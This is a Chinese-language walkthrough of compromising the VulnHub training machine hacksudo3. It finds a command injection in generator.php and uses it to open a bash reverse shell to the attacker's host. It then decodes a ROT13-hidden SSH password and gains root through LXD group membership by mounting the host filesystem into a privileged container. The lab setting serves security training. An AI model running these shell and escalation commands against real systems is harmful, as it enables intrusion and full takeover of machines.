一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudo3(10.0.2.45)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/hacksudo-3,671/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.45
使用nmap端口扫描发现,靶机开放端口:21、22、80
80端口:打开网站未发现可利用的功能点,源码也没有隐藏信息,页面存在一些密码信息
使用disearch进行目录爆破,发现info.php、login.php
文件
但后续测试发现这两个页面没有可利用的漏洞。
可能是目录爆破不够全面,使用dirbuster再次进行爆破,发现页面:
/info.php
/login.php
/create/index.html
/hidden/index.html
/generator.php
/decrypt/index.html
/bruteforce/index.html
在测试/generator.php
页面发现该页面存在命令注入漏洞
输入反引号和命令,可以执行命令
`id`
三、漏洞利用
使用命令注入反弹shell
`bash -i >& /dev/tcp/10.0.2.15/4444 0>&1` 失败
`bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'` 成功
获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
四、提权
查找靶机是否存在特权命令或是否存在具有root权限的可利用的文件
find / -perm -u=s -type f 2>/dev/null
发现/usr/libexec/polkit-agent-helper-1
文件,该版本的polkit存在提权漏洞CVE-2021-4034,靶机没有gcc环境我们可以上传编译好的exp进行提权。
这次我们不用这个方法
翻一翻靶机各个文件夹,发现在/var/www/
目录下存在hacksudo文件,文件里面保存着一些疑似字符串被打乱的数据
unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o
可以使用凯撒密码解密,当偏移量为13时解密得到:
hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b
使用在线md5解密网站解密密码字段:vishal
切换为hacksudo用户
发现用户账号是LXD组的组成员,可以尝试lxd提权
which lxd
which lxc
攻击机操作:
通过git将构建好的alpine镜像克隆至本地;
git clone https://github.com/saghul/lxd-alpine-builder.git
执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;
cd lxd-alpine-builder
sudo ./build-alpine
将tar文件发送至目标设备
service apache2 start
靶机操作:
下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz
wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz
镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了,注意需要从受害者机器上的用户的主目录执行此操作,否则可能会失败:
lxc image import alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test
使用“list”命令即可检查可用的容器列表:
lxc image list
初始化镜像
lxd init #一路回车
lxc init test test -c security.privileged=true
挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true
启动镜像并进入镜像访问任意文件
lxc start test
lxc exec test /bin/sh
id
进入容器之后,定位到/mnt/root
即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。
获取flag
参考链接:https://blog.csdn.net/Perpetual_Blue/article/details/124645714
https://blog.csdn.net/YouthBelief/article/details/123548739